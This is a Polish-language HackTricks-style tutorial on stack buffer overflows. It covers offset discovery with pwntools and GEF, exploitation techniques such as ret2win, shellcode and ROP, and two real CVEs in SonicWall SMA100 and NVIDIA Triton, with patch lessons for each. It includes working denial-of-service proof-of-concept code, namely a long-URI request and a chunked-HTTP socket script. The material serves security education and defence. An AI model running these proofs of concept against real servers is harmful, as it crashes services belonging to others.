9.8 KiB
Stack Overflow
{{#include ../../banners/hacktricks-training.md}}
Co to jest Stack Overflow
A stack overflow to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest przydzielone do przechowywania. Te nadmiarowe dane nadpiszą sąsiednią przestrzeń pamięci, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu.
Głównym problemem tego nadpisania jest to, że zapisany wskaźnik instrukcji (EIP/RIP) oraz zapisany wskaźnik bazowy (EBP/RBP) do powrotu do poprzedniej funkcji są przechowywane na stosie. Dlatego atakujący będzie w stanie nadpisać je i kontrolować przepływ wykonania programu.
Luka ta zazwyczaj występuje, ponieważ funkcja kopiuje na stos więcej bajtów niż ilość przydzielona dla niej, co pozwala na nadpisanie innych części stosu.
Niektóre powszechne funkcje podatne na to to: strcpy
, strcat
, sprintf
, gets
... Ponadto funkcje takie jak fgets
, read
i memcpy
, które przyjmują argument długości, mogą być używane w sposób podatny, jeśli określona długość jest większa niż przydzielona.
Na przykład, następujące funkcje mogą być podatne:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Znajdowanie przesunięć przepełnienia stosu
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z A
s (np. python3 -c 'print("A"*1000)'
) i oczekiwanie na Segmentation Fault
, co wskazuje, że adres 0x41414141
próbował być dostępny.
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe nadpisanie adresu powrotu. W tym celu zazwyczaj używa się sekwencji De Bruijn. Dla danego alfabetu o rozmiarze k i podsekwencji o długości n jest to cykliczna sekwencja, w której każda możliwa podsekwencja o długości n pojawia się dokładnie raz jako kontiguująca podsekwencja.
W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisywanie.
Można użyć pwntools do tego:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
lub GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Wykorzystywanie przepełnień stosu
Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie nadpisać wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych EBP/RBP i EIP/RIP (lub nawet więcej).
Najczęstszym sposobem nadużycia tego typu podatności jest modyfikacja adresu powrotu, aby po zakończeniu funkcji przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał w tym wskaźniku.
Jednak w innych scenariuszach może wystarczyć tylko nadpisanie niektórych wartości zmiennych w stosie do wykorzystania podatności (jak w łatwych wyzwaniach CTF).
Ret2win
W tego typu wyzwaniach CTF, istnieje funkcja wewnątrz binarnego pliku, która nigdy nie jest wywoływana i którą musisz wywołać, aby wygrać. W tych wyzwaniach musisz tylko znaleźć offset do nadpisania adresu powrotu i znaleźć adres funkcji, którą chcesz wywołać (zwykle ASLR będzie wyłączone), aby po powrocie z podatnej funkcji, ukryta funkcja została wywołana:
{{#ref}} ret2win/ {{#endref}}
Shellcode na stosie
W tym scenariuszu atakujący mógłby umieścić shellcode w stosie i nadużyć kontrolowanego EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod:
{{#ref}} stack-shellcode/ {{#endref}}
Techniki ROP i Ret2...
Ta technika jest podstawowym frameworkiem do obejścia głównej ochrony poprzedniej techniki: Brak wykonywalnego stosu (NX). Umożliwia to wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużycie istniejących instrukcji w binarnym pliku:
{{#ref}} ../rop-return-oriented-programing/ {{#endref}}
Przepełnienia sterty
Przepełnienie nie zawsze będzie miało miejsce w stosie, może również wystąpić w stercie, na przykład:
{{#ref}} ../libc-heap/heap-overflow.md {{#endref}}
Typy ochrony
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
{{#ref}} ../common-binary-protections-and-bypasses/ {{#endref}}
Przykład z rzeczywistego świata: CVE-2025-40596 (SonicWall SMA100)
Dobrą demonstracją, dlaczego sscanf
nigdy nie powinno być ufane przy analizowaniu nieufnych danych wejściowych, pojawiła się w 2025 roku w urządzeniu SSL-VPN SonicWall SMA100.
Podatna rutyna wewnątrz /usr/src/EasyAccess/bin/httpd
próbuje wyodrębnić wersję i punkt końcowy z dowolnego URI, które zaczyna się od /__api__/
:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Pierwsza konwersja (
%2s
) bezpiecznie zapisuje dwa bajty doversion
(np."v1"
). - Druga konwersja (
%s
) nie ma specyfikatora długości, dlategosscanf
będzie kopiować aż do pierwszego bajtu NUL. - Ponieważ
endpoint
znajduje się na stosie i ma 0x800 bajtów długości, podanie ścieżki dłuższej niż 0x800 bajtów psuje wszystko, co znajduje się po buforze ‑ w tym stack canary i zapisany adres powrotu.
Jedna linia dowodu koncepcji wystarczy, aby wywołać awarię przed uwierzytelnieniem:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Nawet jeśli kanarki stosu przerywają proces, atakujący nadal zyskuje prymityw Denial-of-Service (a przy dodatkowych wyciekach informacji, możliwie także wykonanie kodu). Lekcja jest prosta:
- Zawsze podawaj maksymalną szerokość pola (np.
%511s
). - Preferuj bezpieczniejsze alternatywy, takie jak
snprintf
/strncpy_s
.
Przykład z rzeczywistego świata: CVE-2025-23310 i CVE-2025-23311 (NVIDIA Triton Inference Server)
Serwer wnioskowania NVIDIA Triton (≤ v25.06) zawierał wiele przepełnień stosu dostępnych przez jego API HTTP. Wzorzec podatności pojawiał się wielokrotnie w http_server.cc
i sagemaker_server.cc
:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek
(libevent) zwraca liczbę wewnętrznych segmentów bufora, które tworzą aktualne ciało żądania HTTP.- Każdy segment powoduje, że 16-bajtowy
evbuffer_iovec
jest alokowany na stosie za pomocąalloca()
– bez żadnego górnego ograniczenia. - Wykorzystując HTTP chunked transfer-encoding, klient może wymusić podział żądania na setki tysięcy 6-bajtowych kawałków (
"1\r\nA\r\n"
). To powoduje, żen
rośnie bez ograniczeń, aż stos zostanie wyczerpany.
Proof-of-Concept (DoS)
#!/usr/bin/env python3
import socket, sys
def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n") # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n") # end of chunks
s.close()
if __name__ == "__main__":
exploit(*sys.argv[1:])
A ~3 MB request wystarczy, aby nadpisać zapisany adres powrotu i crash daemona w domyślnej wersji.
Patch & Mitigation
Wersja 25.07 zastępuje niebezpieczne przydzielanie stosu heap-backed std::vector
i elegancko obsługuje std::bad_alloc
:
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();
Lekcje wyniesione:
- Nigdy nie wywołuj
alloca()
z rozmiarami kontrolowanymi przez atakującego. - Żądania podzielone na kawałki mogą drastycznie zmienić kształt buforów po stronie serwera.
- Waliduj / ogranicz wszelkie wartości pochodzące z wejścia klienta przed ich użyciem w alokacjach pamięci.
Odniesienia
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
{{#include ../../banners/hacktricks-training.md}}